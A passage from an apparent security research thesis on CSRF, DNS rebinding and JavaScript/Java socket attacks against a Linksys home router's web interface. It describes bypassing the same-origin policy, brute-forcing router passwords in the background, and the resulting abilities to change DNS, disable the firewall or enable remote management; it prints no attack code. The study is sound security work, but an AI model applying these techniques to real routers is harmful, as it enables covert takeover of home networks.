request. Further, “It is only possible for CSRF attacks to perform actions; no 
information leakage is possible, because nothing is returned to the attacker” 
(Johnston, 2004, p. 23). Since no information is returned to the attacker, the 
attacker does not know whether the attack succeeded or not. Nevertheless, 




2.7. Cross-Site Scripting (XSS) 
Cross-site scripting is an attack similar to CSRF in that it affects browsers. 
However, rather than taking advantage of the trust that a user has in their 
browser; XSS exploits the trust that a user has in a website (Cross-Site Scripting, 
n.d.). According to Symantec, in 2007, XSS attacks accounted for roughly 80% of 
all security vulnerabilities (Turner, 2008). XSS is a JavaScript attack where an 
attacker injects code onto a web page. Consequently, the injected JavaScript 
code is executed when users (victims) visit that web page. The attacker is 
capable of performing any action that JavaScript can perform. A popular action to 
perform is “cookie stealing”. This attack sends the victim’s cookie to the attacker, 
which in return allows the attacker to log in to the vulnerable site as the victim 
(Klein, 2002). There are many variations of XSS, all of which can be very 
destructive. 
 While there does not seem to be any direct application of XSS against 
wireless routers, similar techniques using JavaScript may lead to new and 
innovative attacks that can be applied to wireless routers. Simply luring a victim 
to a specific website where they execute malicious JavaScript code may be able 
to result in a compromised wireless router. 
2.8. Browser Security – Same Origin Policy / DNS Rebinding / DNS Pinning 
Browser security is an important aspect in protecting against CSRF and 
XSS attacks. One of the biggest deterrents to these attacks is the same origin 
policy. The same origin policy is implemented in most modern browsers. The 
goal of the policy is to permit scripts running on a particular website to interact 
with that website while preventing the scripts from interacting with other websites. 
In order to determine whether or not a script is permitted to access a particular 
website three things must hold. The domain name of the website where the script 
originated from must be the same as the domain name of the website that the 
script is attempting to interact with. The application layer protocol of the two must 
be equivalent. Finally, the client side TCP port must be the same. If all three of 
  
24
these properties hold then it can be reasonably assured that the script is 
interacting with the website where it originated from (Same Origin Policy, n.d.). 
Using DNS rebinding it is possible to circumvent the same origin policy. 
DNS rebinding is a technique that rebinds a DNS name to a different IP address. 
The way it works in practice is by setting the TTL value on a DNS response to 1 
second. When a user enters a URL into the browser, the browser does a DNS 
lookup on the domain name in order to obtain an IP address. The browser then 
connects to the IP address which it received and continues to perform the HTTP 
protocol in order to obtain the web page. However, if that web page had 
JavaScript instructing the page to sleep for 5 seconds and then make a new 
request to the same domain (conforming to the same origin policy), the browser 
would attempt to determine the IP address of that domain. Since the TTL has 
expired the browser will perform a second DNS lookup. If the attacker controls 
the DNS records for the website then they can modify the DNS record to point to 
a different IP address – say 192.168.1.1. Now the browser will connect to 
192.168.1.1, clearly not the intended website. The browser will consequently 
send the request to 192.168.1.1 rather than the attacker’s website. This 
effectively circumvents the same origin policy (Johns, 2006). However, most 
modern browsers use a technique known as DNS pinning (Hanson, 2009).  
DNS pinning is primarily used as a way to decrease internet traffic by 
caching the DNS responses for longer than their TTL. This saves the browser 
from performing extra DNS requests. DNS pinning also has security implications. 
As one can see, if the browser does not respect the TTL value then the DNS 
rebinding technique just described does not work anymore. However, there is an 
easy solution to the problem that will allow an attacker to circumvent DNS 
pinning. If the browser attempts to connect to a website and cannot establish a 
connection then the browser re-examines its cached DNS entry. If the DNS entry 
has an expired TTL then it will send a new DNS query (Hanson, 2009). There are 
several ways to make the browser fail to connect to a website. First, the attacker 
could simply shut down the website or turn off networking. However, an easier 
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approach that can be automated is to simply add a firewall rule blocking that 
client from re-connecting to the website. According to Dan Kaminsky there is no 
full proof way to avoid DNS rebinding. He believes that it will be around for a long 
time (Hanson, 2009). The one method that would solve the problem is for web 
servers to respect the host header. If the host header is not set for itself then the 
server should ignore the request. In DNS rebinding, although the IP address may 
have changed, the domain name remains the same (or else it would violate the 
same origin policy). Therefore the host header will be the host name of the 
attacking website and not that of the victim website or device which the request is 
sent to. While respecting the host header is the best solution to this problem, it 
requires that every web application be modified including: wireless routers, wikis, 
web servers, etc. This is an unrealistic solution for the short term (Hanson, 2009). 
2.9. Potential Ramifications of a Compromised Wireless Router 
The consequences of a compromised wireless router can be significant. 
As previously discussed, wireless routers act as gateways for a network and can 
affect the confidentiality, integrity, and availability of said network. It is also 
theoretically possible to run programs or re-flash the wireless routers’ with 
modified firmware that contains additional capabilities embedded within it. If this 
is possible, infected wireless routers could do similar things as infected PCs. 
Additionally, it may be possible to create a worm that spreads through and infects 
wireless routers. If this can be done, then it would also be possible to construct a 
botnet of wireless routers. It may even be possible for the botnet to communicate 
wirelessly making it difficult to detect (Poyar et al., 2009). A paper entitled “WiFi 
Epidemiology: Can Your Neighbors’ Router Make Yours Sick?” describes a 
possible WiFi epidemic (Hu et al., n.d.). While this paper is based on many 
assumptions and its end results may not be entirely accurate (Poyar et al., 2009), 
earlier this year a worm was reported which specifically targeted wireless routers 
and DSL modems (Naraine, 2009) (Network Bluepill, 2009). This is believed to 
be the first worm to do so. Though the worm brought a lot of press, it is described 
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as unsophisticated. The primary infection method was through brute forcing SSH 
and telnet servers that were open to the WAN (Network Bluepill, 2009). There is 
also some reason to believe that this worm was not real and simply a way to gain 
publicity (Poyar et al., 2009). Although it is theoretically possible to infect a large 
amount of wireless routers to cause significant consequences, there has been 
little research on the difficulty and practicality of such an attack. 
2.10. Summary 
Wireless networks are becoming more prevalent every year. Many of 
these networks use little or no encryption. These insecure wireless networks 
allow attackers to send attacks while staying anonymous. Additionally, attacks 
specifically targeting wireless routers are beginning to arise. Some of the primary 
threats are web based, specifically CSRF and JavaScript attacks. Understanding 
the risks and damage that can be done through attacking wireless routers is the 
first step to securing them. 
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CHAPTER 3. METHODS AND PROCEDURES 
3.1. Research Goal 
To determine the possibility of attacking wireless routers, primarily through 
CSRF attacks, and to detail the requirements of performing said attacks as well 
as to detail their specific consequences. 
3.2. Research Plan 
The research has been split up into three phases. For each phase, 
research will be done to determine the possibility of performing the specified 
action(s). If an attack is found, the requirements and limitations of the attack will 
be described. Further, the consequences of the attack will be assessed by 
describing all of the ramifications. These ramifications include the malicious, 
passive, intended, and unintended consequences. The phases are outlined 
below. 
3.3. Phase I – Web Management Interface Attacks 
The purpose of phase I was to determine if there are any vulnerabilities or 
attacks that can be performed against the web management interface. The 
second part of phase I looks at the possibility of some potential consequences of 
an attack or vulnerability if one is found. Below is an outline of the attacks that 
were performed in order to determine the general security posture of the web 




1a) Access and modify settings of the AP through the web management interface 
using automated means without using the GUI (primarily tested against Linksys 
default firmware) 
 a) Assuming AP is using default username and password 
  i)  URL clicking (CSRF) 
   a) Embedding within an image tag 
  ii) Packet injection  
 b) Assuming a URL is clicked from an already authenticated browser 
 c) Assuming a URL is clicked from a machine with the credentials stored  
    in the browser 
 
1b) Maliciously modify settings of the AP (assuming 1a is successful) 
 a) Cause a denial of service 
 b) Manipulate routing of traffic 
 c) Modify DNS servers 
 d) Enable UPNP/Port forward/DMZ 
 e) Enable SSH or web management from the WAN  
 f) Change the password of the router 
 g) Change the key for the wireless network 
3.4. Phase II – Advanced JavaScript Attack 
The idea behind phase II is to analyze advanced JavaScript attacks that 
can be performed to modify a wireless router. One JavaScript function was 
explored in particular, the XMLHttpRequest(). This function is typically used in 
AJAX web applications; however, it may also be possible to use it for attacking 
wireless routers. Using the XMLHttpRequest() function, this attack attempts to 
send HTTP requests via JavaScript. JavaScript can potentially be used as a 
unique type of attack which can brute force login credentials by sending many 
requests while requiring no interaction of the victim. The requests can be 
performed in the background and the responses can be ignored without the 
victim ever knowing that they occurred. Further, requests can be continually sent 
with unique user credentials until a 200 Response is received and the attack is 
successfully performed. This attack may be tested on an older browser that does 
not enforce same origin policy. If the attacks can be successfully performed in 
that environment then they will be attempted using current browsers. This phase 




2) JavaScript attack using XMLHttpRequest() 
 a) Attempt to make an XMLHttpRequest() to a webpage on the same  
    domain 
 b) Attempt to make an XMLHttpRequest() to a webpage on the same  
    domain which uses basic authentication 
 c) Attempt to modify the wireless router using an XMLHttpRequest() 
 d) Attempt to brute force the password of a wireless router by capturing  
the response of the XMLHttpRequest() and continuing to try passwords 
until a successful response is returned 
3.5. Phase III – Advanced Socket Attacks 
The goal of phase III is to create a client-side web application that makes 
a socket connection to a wireless router and manually performs the HTTP 
protocol to modify it. There are several technologies that can potentially be used 
to accomplish this. It may be required to use multiple technologies in conjunction 
for this attack to work. Some of the technologies that can be used include Flash, 
JavaScript, ActiveX, Java (LiveConnect), Java Applet, Microsoft Silverlight, and 
JavaFX. This attack may be tested on an old browser that does not enforce same 
origin policy. If the attacks can be successfully performed in the older 
environment then they will be attempted using current browsers. This phase is 
broken down into steps which are outlined below: 
 
3) Make a socket connection from a script or client web application that modifies  
    the wireless router 
a) Create a basic telnet socket connection to see if the wireless router can  
    be modified by a manual HTTP request 
 b) Implement a web application that makes a socket connection to a  
     website on the same domain 
 c) Attempt to send a HTTP request through the socket connection and  
     receive the response 
 d) Attempt to make a socket connection to a website on a different domain 
 e) Attempt to modify the settings of a wireless router via the socket  
    connection 
f) Attempt to brute force the password of a wireless router by sending  





This chapter described the overall goal of the research. It split the 
research into three phases and described each one. Each phase was also 
broken down into an outline of steps that guided the research. 
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CHAPTER 4. RESULTS AND DISCUSSION 
4.1. Introduction 
The research was split up into three phases as described in the methods 
and procedures section. Each phase was, for the most part, independent yet, 
related to the other phases. Due to this, the results of each phase were analyzed 
independently. An overall discussion of the research as a whole is also provided. 
This allows for any inferences to be made from the broader scope and to obtain a 
sense of perspective in the larger scheme of things. At the end of this chapter, 
Table 4.3 contains an overview and comparison of each attack. Since the web 
management interface was chosen to be the primary vector of attack against the 
wireless router, it was necessary to understand and analyze how it works. Below, 
in Figure 4.1, is a diagram of the attack scenario. For the full size diagram, refer 




Figure 4.1 Diagram of Attack Scenario 
4.2. Basic Details of Web Management Interface 
First, the web management interface was analyzed in order to understand 
how it works. The specific version of firmware used throughout this research was 
the initial release of the Linksys WRT54GL firmware (version 4.30.0) (Firmware 
Release History, 2008). The analysis was used to construct the attacks that are 
described later in this chapter. The primary method of analysis was through 
capturing traffic between the web browser and wireless router using Wireshark. 
Through the analysis it was found that requests for a specific web page were 
handled by standard HTTP GET requests. However, requests which modified 
settings of the wireless router used HTTP POST requests. The configuration 
settings that a user submitted were transmitted to the wireless router via line-
based text data with application/x-www-form-urlencoded encoding. The data was 
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sent via the content section of the HTTP POST request in the form of variables 
with their corresponding values. The HTTP server on the wireless router is able 
to translate the values of specific variables in order to make the intended 
configuration modification. In order to send HTTP POST requests to a web 
server it requires more HTML code than an HTTP GET request. Typically it is 
done through the use of forms. HTTP GET requests can be sent much easier in 
the form of a simple URL. Therefore, the ability to modify the router via HTTP 
GET requests was preferred over HTTP POST.  
Through the analysis it was found that HTTP GET requests could be used 
to modify the wireless router. Variables appended to the end of a URL were 
treated identically to variables sent in the content section of an HTTP POST 
request. All of the variables that are used in the web management interface were 
captured. These variables were mapped out and are included in Appendix A.  
Secondly, it was found that the wireless router used HTTP basic 
authentication in order to authenticate users. Further, there is no way for a user 
to log out from the web management interface. This is still the case in the latest 
version of firmware. Consequently, browsers (IE and Firefox) continue to include 
the login credentials along with any request made to the wireless router until the 
browser is restarted or the cookies are cleared. However, in firmware version 
4.30.12, an HTTP session timeout was added. This update is included in the 
latest version of firmware (4.30.13) as well (Firmware Release History, 2008).  
Lastly, the default username and password were found to be 
admin/admin. However, the value in the username field is not enforced. Hence, 
any user name can be used. As long as the password is valid, the authorization 
will be successful. 
4.3. Phase I – Web Management Interface Attacks 
The attacks that were attempted can be classified into two broad 
categories – URL attacks and image attacks. The specific attacks that were 
performed in each category are included in the appendices. The below sections 
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describe each category of attack and reference the specific appendix containing 
the code for said category. The components used in this phase can be found in 
Appendix F. Below are the categories: 
 
URL Attacks 
 Already authenticated  
Stored user credentials in browser 
 User credentials within the URL 
Image Attacks 
 Already authenticated 
Stored user credentials in browser 
 User credentials within the image URL 
4.3.1. URL Attacks 
The typical way in which a Linksys router modifies its settings is via HTTP 
POST requests. However, it was determined that the variables used in the POST 
request can be used in a GET request as well. Therefore, the attacks could be 
performed by creating a URL which included all of the variables to change 
specific configuration settings. However, after the victim clicks on the attack URL, 
if successful, the browser will display the web page “Settings are successful”. On 
the other hand, if the attack is unsuccessful then the browser will display “401 
Unauthorized”. Either of these cases may alert the user that something malicious 
has occurred. 
4.3.1.1. Already Authenticated Browser 
These attacks make the assumption that the URL is clicked from an 
already authenticated browser. More specifically, it assumes that the browser 
already contains a session with the wireless router. As discussed previously, this 
occurs when a user logs into the wireless router and continues to browse the 
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internet without restarting the browser or clearing the cookies. The result is that 
no user credentials need to be supplied by the attacker. The browser 
automatically includes the credentials with every request made to the wireless 
router from that browser. The sophistication or strength of the wireless router 
password does not have any correlation to the success of these attacks. Even 
the best passwords do not help in preventing this attack since the browser will 
automatically send the correct credentials no matter what they are. Further, this 
attack is made more detrimental by the fact that the web management interface 
does not have a logout function. All of these attacks were found to successfully 
modify the wireless router in every browser that was tested. The exact attacks 
performed are included in Appendix B. A sample URL which modifies the 







4.3.1.2. Unauthenticated Browser 
The primary purpose of these attacks was to provide a baseline for the 
stored and embedded credential URL attacks rather than to successfully exploit 
the wireless router using the attacks. These attacks assume that there is not an 
authenticated session to the wireless router in the victim’s browser, there are no 
credentials stored in the victim’s browser for the wireless router, and there are no 
credentials supplied in the attack URL. When these attacks were performed 
against a browser that does not already have an authenticated session with the 
wireless router the browser displays a dialog box asking the user to enter their 
credentials. Most likely a user who is familiar with the wireless router and knows 
the password to it will not fall for such an attack. For users who are not familiar 
with the wireless router the attack will probably fail as well since the user may not 
know the correct password. However, if the user does enter in the correct 
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credentials then the attack will succeed. See Appendix B for the exact attacks 
performed. 
4.3.1.3. Stored Credentials in the Browser 
This section of attacks assumes that a URL is clicked from a browser with 
stored credentials for the wireless router. When user credentials are saved in the 
browser – either Firefox or IE - the attacks work, however people still need to 
click “OK” when the username / password box is displayed. The results were 
exactly the same as the results for an unauthenticated browser with no stored 
credentials except that the credentials are auto filled into the user/password login 
prompt. See Appendix B for the exact attacks performed. 
4.3.1.4. Credentials embedded within the URL 
If the credentials to the access point are known it may be possible to 
provide them within the URL. The purpose of an attacker performing a CSRF 
attack when the credentials are known is that the attacker may not be able to 
access the web management interface of the wireless router. By default the web 
management interface is disabled to the WAN and enabled to the LAN and 
WLAN. In order for the attack to succeed, only the correct password needs to be 
supplied. It was found that with the Linksys wireless router the username field 
does not matter. Any username is valid as long as the correct password is used. 
In all versions of Firefox that were tested it is possible to embed the username 
and password within the URL. However, when the URL is clicked, a popup box 
appears informing the user that they are sending credentials to the website and 
the user is required to click “OK” in order to proceed. If the user clicks “OK” then 
the attack succeeds otherwise it does not. Once the user is authenticated the 
credentials no longer need to be embedded in the URLs. In both versions of IE 
that were tested it was not possible to embed credentials into a URL. Older 
versions of IE allow for credentials to be embedded in URLs, however, for 
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security reasons it was disabled in newer versions. It is possible to add the 
functionality back into IE via a registry modification (Host Name Resolution, 
2005). The exact attacks performed are included in Appendix C. Below is an 
example URL that embeds credentials within it.  
 
http://username:password@website.com/index.html 
4.3.2. Image Attack 
This attack embeds a URL within an image tag in order to modify the 
settings of the wireless router. Image attacks can be performed in the same 
conditions as URL attacks – authenticated session in the browser, stored 
credentials in the browser, and embedded credentials in the URL. Placing a URL 
within an image tag has many of the same consequences of simply having a user 
click on the URL. However, there are a few notable differences. First and 
primarily by embedding the URL within an image tag a user does not need to 
click it. If the user simply visits a malicious webpage containing an attack image 
then the attack is performed. Additionally, there are several nuances with 
embedding the URL within an image tag rather than a simple URL on its own. 
When a URL is placed within an image tag the browser tries to retrieve the 
picture via that URL. Consequently, when the image fails to be retrieved – since 
the URL is not a valid image – a failed image will be seen on the website. This 
most likely will not alert a user that something malicious has occurred. Failed 
images are seen fairly regularly and are not typically something that will alarm a 
user. It would be a very large stretch to correlate a failed image load to a 
compromised wireless router. While a failed image may still alert some suspicion 
it is not nearly as alarming as a webpage displaying “Settings are successful.” as 
in the case of a user clicking a URL. Another very important nuance of placing a 
URL within an image tag is with Firefox. Firefox handles URLs with embedded 
credentials differently when they are placed within an image tag. Surprisingly, 
when credentials are placed in a URL that is in an image tag there is no warning 
  
38
as there is when a user clicks on a URL with embedded credentials. Firefox does 
not give any notification that credentials were sent. This can be a very big 
vulnerability. An attacker can have hundreds of these images with different user 
credentials. This gives them a better chance to guess at the password of the 
router. All of these attempts to modify the router’s settings require no action from 
the user. The user simply has to visit the malicious webpage containing these 
attack images. The failed image loads could also potentially be hidden from view 
via a number of methods. See the Appendix for the exact attacks that were 
performed. See Appendix D for the attacks that do not contain credentials 
embedded within the URL and see Appendix E for the attacks that do contain 
credentials embedded within the URL. Below is an example image tag which 






Phase I of the research contained numerous attacks. Each attack had 
different conditions upon which it would be successful. Under those specific 
conditions, all of the attacks were successful for all of the browsers – Firefox and 
Internet Explorer. The one exception to that is the embedded credentials attack. 
This attack does not work in Internet Explorer. In addition to the different 
conditions of the attacks, the attacks also had varying properties including: 
required user action, stealth, and brute force capability. Each attack was 
performed with a number of different payloads. If the attack was successful with 
one payload then it was also found to be successful with all of the other 
payloads. Each payload was successful in performing its intended action as 
described in the attack code located in Appendix B, C, D, and E. Below, in Table 






Table 4.1 Phase I Attack Overview 
 Browsers 
Affected 
User Action Stealth Brute 
Force 
URL Attacks     
    Already Authenticated Firefox, IE No No No 
    Stored credentials Firefox, IE Yes No No 
    Embedded credentials Firefox Yes No No 
     
Image Attacks     
    Already Authenticated Firefox, IE No Medium No 
    Stored credentials Firefox, IE Yes Medium No 
    Embedded credentials Firefox No Medium Semi 
4.4. Phase II – Advanced JavaScript Attack 
Phase II of the research attempted to send HTTP requests via JavaScript. 
Using XMLHttpRequest(), an HTTP request can be made to a website in the 
background without any signs that it is actually taking place. Further, it is possible 
to send basic authentication credentials via XMLHttpRequest(). 
 
As detailed in the methodologies section this attack was split up into several mile 
stones: 
 1) Attempt to make an XMLHttpRequest() to a webpage on the same  
    domain 
2) Attempt to make an XMLHttpRequest() to a webpage on the same    
    domain which uses basic authentication 
 3) Attempt to modify the wireless router using XMLHttpRequest() 
 4) Attempt to brute force the password of a wireless router by capturing  
the response of the XMLHttpRequest() and continuing to try passwords 
until a successful response is returned 
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4.4.1. Milestone 1 – Same Domain 
The first step was accomplished without much difficulty. Making an 
XMLHttpRequest() to a webpage on the same domain is part of the standard 
AJAX functionality. Using XMLHttpRequest() in its most basic form, a request 
was able to be made for a webpage on the same domain. 
4.4.2. Milestone 2 – Same Domain with Basic Authentication 
The second mile stone proved to be more challenging than the previous 
milestone. It not only required the knowledge of how basic authentication works, 
but it also required the knowledge of how it is implemented in browsers. Initially, 
the researcher attempted to send basic authentication credentials to a webpage 
that does not require them. It was assumed that the request would place the 
credentials in the header as it would a typical request using basic authentication. 
However, when capturing the requests that were being sent to the webpage, no 
such credentials existed in the headers as they should have. XMLHttpRequest() 
natively supports basic authentication. Yet, unknown to the researcher, basic 
authentication only gets inserted into the header of a request by the browser (IE 
and Firefox) if a response is returned from the web server with “401 Authorization 
Required”. After attempting the same attack on a webpage that required basic 
authentication, the credentials did get inserted into the header after the initial 401 
response. The browser automatically resends the request with the credentials 
after sending a non-basic authentication request and receiving a 401 response. 
After this was understood, it explained why the credentials were not being sent to 
the webpage that did not require authentication. At this point the researcher was 




4.4.3. Milestone 3 – Modify the Wireless Router 
The third step required two additional aspects on top of the second 
milestone. It required an XMLHttpRequest() to be made to a different domain and 
it required a request that would modify the wireless router. The ladder 
requirement was fairly easy. Any of the URL attacks from phase I could be used 
as the request to modify the wireless router. However, making an 
XMLHttpRequest() to a different domain was found to be difficult. All of the 
browsers that were tested implement the Same Origin Policy (SOP). This 
prevents JavaScript from communicating with any web site other than the 
website that it came from. The browsers implement this by domain name (i.e. if 
the domain names are the same between the origin web page and the web page 
that is being requested then the request is allowed). Typically the SOP is 
implemented by domain names rather than IP addresses. Therefore, one would 
think that simply changing the IP address that correlates to the specific domain 
name would allow one to bypass the Same Origin Policy. However, this is not 
usually the case. Many browsers also implement a mechanism called DNS 
Pinning (Johns, 2007). This essentially caches DNS to IP address mappings 
within the browser and locks them together for a certain period of time. 
Fortunately for an attacker, there are ways to un-pin these DNS to IP address 
mappings. However, these methods differ based on the browser and are an 
entirely different research direction altogether. In this thesis research, DNS 
pinning in both Firefox and IE were analyzed to a small extent. Basic techniques 
were used in order to bypass the DNS pinning and Same Origin Policy. This was 
done in order to demonstrate certain attacks. While the attacks were successful 
using these naïve anti-DNS pinning techniques, the attacks were not very 
practical due to their duration. Using more advanced anti-DNS pinning 
techniques the attacks could be performed much quicker and with much more 
effectiveness (Jackson, Barth, Bortz, Shao & Boneh, 2007). A diagram of a 
typical DNS rebinding is shown below in Figure 4.2. Additionally, Table 4.2 is 
provided to show current times required to bypass the DNS pinning and SOP of 
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several browsers. In this thesis research, to bypass DNS pinning in Firefox it 
required the attack to be postponed for 3 minutes. In IE it required 30 minutes. 
However, as shown in Table 4.2 these times could be substantially reduced 
using more advanced DNS rebinding techniques. Nevertheless, the attacks were 
successfully performed in both browsers and were able to modify the settings of 
the wireless router. A successful attack had the same capabilities as the URL 
and image attacks. 
 




Table 4.2 Time Required for DNS Rebinding Attack by Technology (95% 
confidence) (Jackson et al., 2007) 
 
4.4.4. Milestone 4 – Brute Force Credentials 
The final step that would make this JavaScript attack even more 
dangerous was to use XMLHttpRequest() in order to brute force the wireless 
router password. The attack works by providing a list of an arbitrary amount of 
passwords. The attack could also be constructed to brute force every possible 
combination of passwords, however, that may be very time consuming 
depending on how long the password is and the speed of the victim’s computer. 
Given a list of passwords, the JavaScript started from the beginning and sent an 
attack using the first password in the list. Using XMLHttpRequest(), the response 
from the wireless router was captured and determined whether or not the 
password was valid. If the password was correct then the script stopped. 
Otherwise the script continued until either the correct password was found or the 
end of the password list was reached. This attack was successfully performed 
against IE 6. When performed against Firefox it was not as successful. For an 
unknown reason, Firefox would display a basic authentication box if the attempt 
was not successful. In order to send the next password attempt the victim would 
need to click “Cancel”. An attacker could attempt n + 1 passwords, where n was 
the number of times that the victim clicked “Cancel”. This result was the same in 




Using JavaScript and XMLHttpRequest() it was possible to make a 
request to a wireless router in the background, without any interaction or signs to 
the victim. This was found to be possible in all of the browsers tested. Using 
more advanced anti-DNS pinning methods this attack could potentially occur in 
seconds and be extremely dangerous. Further, in IE 6, it was found that 
credentials could be brute forced indefinitely, until the webpage was closed, 
unbeknownst to the user. See Appendix G for the specific details of how the 
attacks were performed and for the HTML/JavaScript code that was used. Below 
is an overview of the results: 
 
Success: 
Firefox 3.5.5 (no brute force) 
Firefox .8 (no brute force) 
 Internet Explorer 6.0.2900.2180 (brute force) 
Failure: 
 None 
4.5. Phase III – Advanced Socket Attacks 
This phase of the research focused on CSRF attacks just as the previous 
two phases. However, this research attempted to perform attacks by making 
direct socket connections to the wireless router. As described in the methods and 
procedures section, there were a number of client side technologies that could 
have been researched. The researcher focused on the JavaScript / Java 
(LiveConnect) technology. This was chosen primarily because the researcher 
was familiar with both JavaScript and Java. It was also chosen because it has 
the potential to affect many users without any additional action by the user. For 
example, installing software or explicitly allowing the code to run. The only 
requirement is that the victim’s computer must have Java Runtime Environment 
(JRE) installed and a browser which supports Java via the LiveConnect interface. 
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Browsers that support this include: Mozilla Firefox, Safari, Google Chrome, 
Opera, Konqueror, and some older versions of Microsoft Internet Explorer 
(NPAPI, n.d.). In order to achieve the end result of modifying a wireless router via 
JavaScript / Java, several milestones were accomplished: 
 
1) Create a socket connection using telnet to determine whether or not the  
    wireless router can be modified via a manual HTTP request  
2) Attempt to make a socket connection to the wireless router via  
    JavaScript / Java 
3) Attempt to modify the settings of the wireless router using the socket  
    connection 
4) Attempt to brute force the password of the wireless router by sending  
    requests until a successful response is returned 
4.5.1. Socket Connection 
This attack created a socket connection with the web management 
interface of the wireless router and manually sent an HTTP request to modify the 
configuration of the wireless router. The purpose of this attack was to verify that a 
manual socket connection could be performed so that more advanced attacks 
could make use of it. In order to perform the attack, the researcher used telnet to 
make the TCP connection and send the request. The Backtrack 3 telnet client 
was used since it sends the entire request as a single packet as opposed to the 
windows telnet client. This attack was successful - anything that could be done 
via the URL attacks and previous attacks could also be performed by manually 
sending HTTP requests via a socket connection. By using direct socket 
connections, it allows for new ways to potentially evade the Same Origin Policy 
of web browsers. Direct socket connections can also be used in worms or other 
malware as a payload. See Appendix H for the details of the attack. 
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4.5.2. JavaScript / Flash Attack 
While the primary client side technology examined was JavaScript / Java, 
there was some research done using JavaScript / Flash. This attack attempted to 
create a socket using JavaScript and Flash which could be used to manually 
send HTTP requests. However, this attack failed. The researcher was able to get 
the JavaScript / Flash to establish a TCP connection with another website 
located in the same domain as the original webpage (to avoid potential Same 
Origin Policy violations). Yet data could not be sent via that TCP connection. 
Flash automatically sent a policy-file-request which the researcher was not able 
to bypass. Further research found that the new version (version 10) of flash 
added many restrictions to making connections via flash. When the researcher 
attempted to use an earlier version of flash (version 6) the attack still failed. The 
researcher was unable to determine the problem. See Appendix I for the code 
used to perform this attack. 
4.5.3. JavaScript / Java (LiveConnect) Attack 
Using the NPAPI that is built in to many browsers it is possible for 
JavaScript code to make use of Java libraries (NPAPI, n.d.). Essentially it allows 
for Java code to be embedded within JavaScript (Johns, n.d.). This attack made 
use of this. It uses Java code in order to establish a TCP socket connection to 
the wireless router and send data across said socket connection. Since the JRE 
is separate from the browser it has its own SOP which it maintains (Dean et al., 
1996). Therefore, as long as the DNS is changed to correspond to the wireless 
router before any Java call is made, there will not be a problem conforming to the 
SOP in Java. This is the case since in the scope of the JRE, the IP address 
associated to “attacker.com” is the private IP address of the wireless router and 
maintains as such for the duration of the attack. Overall, the results of this 
research were very successful. Using the latest version of Firefox (3.5.8) and an 
older version of JRE (1.6.0), a socket connection was able to be created with the 
wireless router and data could be sent and received via that socket. With this, the 
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researcher was able to modify the wireless router in any way desired. Anything 
that can be modified via the Web Management GUI interface could be modified 
via this attack. Further, the attack was able to be extended to brute force the 
password of the wireless router then modify the wireless router using the 
password that was found. All of this can be performed in just several seconds. 
The proof of concept script used for this research has a one second delay within 
the JavaScript before it executes the Java code. This is actually not needed 
since the researcher manually changed the IP address mapped to the domain 
name. However, if this were implemented for an actual attack, there would need 
to be some delay in order to make sure the DNS entry is modified so that it points 
to the address of the wireless router. This delay would not need to be long; 
potentially even less than a second. When attempting to use the latest version of 
JRE (1.6.18) an error occurred in the attack script. The Java code successfully 
created a socket connection to the wireless router; however, the script received 
an error whenever it attempted to send data on the socket. JRE 1.6.0 is still fairly 
new with its release on December 11, 2006 (Java Version History, n.d.). See 
Appendix J for the details and the proof of concept code used to perform this 
attack. Below is an overview of the results: 
 
Success: 
Firefox 3.5.6 and JRE 1.6.0 
 Firefox 3.5.8 and JRE 1.6.0 
Failure: 
 Firefox 3.5.6 and JRE 1.6.18 
 Firefox 3.5.8 and JRE 1.6.18 
 Internet Explorer 6.0.2900.2180 
4.6. Consequences of the Attacks 
The results of this research were significant. Many of the attacks were 
found to be successful and found to be capable of substantial damage. Although 
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only certain modifications of the wireless router were attempted via the attacks, 
after further analysis of the results, any action that can be performed using the 
web management interface can be done via any of the successful attacks in this 
research with a few potential exceptions. It may be difficult or impossible to flash 
the firmware or to restore a saved configuration file. Using the mapped out 
Linksys variables any modification of the router can be constructed, aside from 
the two potential exceptions. However, the attacks are not capable of performing 
an action that cannot be accomplished via the web management interface. Since 
the attacks are performed against the web management interface they have the 
same capabilities as it. To obtain all of the different payloads of the attacks that 
were performed, refer to the code for any of the URL or image attacks. Below are 
some of the capabilities of a successful attack. 
Attack Capabilities 
 Change the password of the wireless router 
 Enable remote management 
 Disable the firewall 
 Change the key for the wireless network 
 Modify DNS servers 
 Place an internal machine into a DMZ 
 Enable port forwarding 
 Reset the wireless router to factory defaults 
 Manipulate routing of traffic 
 Cause a denial of service 
Figure 4.3 Attack Capabilities 
4.7. Potential Mitigations 
While this research demonstrated many substantial attacks that can lead 
to significant consequences, there are ways to help protect wireless routers. 
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Using certain techniques, it may be possible to lessen the effects or potentially 
prevent some of the attacks altogether. There are several different perspectives 
from which mitigations can be applied. These perspectives include: the user, the 
browser, and the wireless router. Below, in figure 4.4, a chart is provided that 
includes a number of techniques that can be used to potentially defend against 
some of the attacks demonstrated in this research. Corresponding to each 
mitigation technique is the specific attack(s) that it may prevent or make more 








All three phases of research found interesting results. Further, it was 
determined that all of the attacks can be performed on the latest version of 
firmware (4.30.13) available for the Linskys WRT54GL (Firmware Release 
History, 2008). Each attack individually could be extremely effective on its own; 
however, all of them combined could make CSRF vulnerabilities against wireless 
routers a real threat to the security of home networks. While there are potential 
ways to protect wireless routers from some of these attacks, few of them are 
currently in use. Further, the attacks presented in this research only 
demonstrated a subset of a larger problem; browsers can be used as an attack 
vector to affect wireless routers. 
The results of phase I can be applied to virtually any browser and client 
configuration making it the most general attack of the three. However, while it 
may be performed on a wide variety of systems, the attacks rely on either the 
browser already having an authenticated session with the wireless router, the 
credentials of the wireless router being stored within the browser, or the default 
password of the wireless router being used. There is a chance that none of these 
assumptions are valid. Further, some of the phase I attacks may alert the victim 
that something malicious has occurred. The most interesting result from phase I 
was the Firefox image attack with credentials embedded in the URL. Contrary to 
the other phase I attacks, this attack could be performed with very little indication 
to the victim while also providing the ability to use credentials rather than relying 
on an already authenticated session. However, even stealthier than the image 
attacks were the phase II attacks using AJAX.  
The results of phase II were especially alarming. AJAX is a common web 
technology that is implemented in almost all current browsers giving this attack 
almost as large of a population of targets as the phase I attacks. It was found that 
the attack succeeded on all of the browsers attempted – Firefox .8, Firefox 3.5.5, 
and IE 6. Further, in IE 6 it was possible to brute force the password of the 
wireless router. All of this was done in the background with no indication to the 
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victim. While the phase II attack may be very effective, it relies on the ability to 
rebind the DNS of the browser. Depending on the browser this can be a 
challenging task. However, there are techniques available to accomplish this 
(Jackson et al., 2007).  
Rather than relying on the ability to break the DNS pinning within the 
browser, phase III was able to exploit the interface between the browser and 
another web technology in order to evade the DNS pinning. Using JavaScript and 
Java code through the LiveConnect interface, the attack was capable of brute 
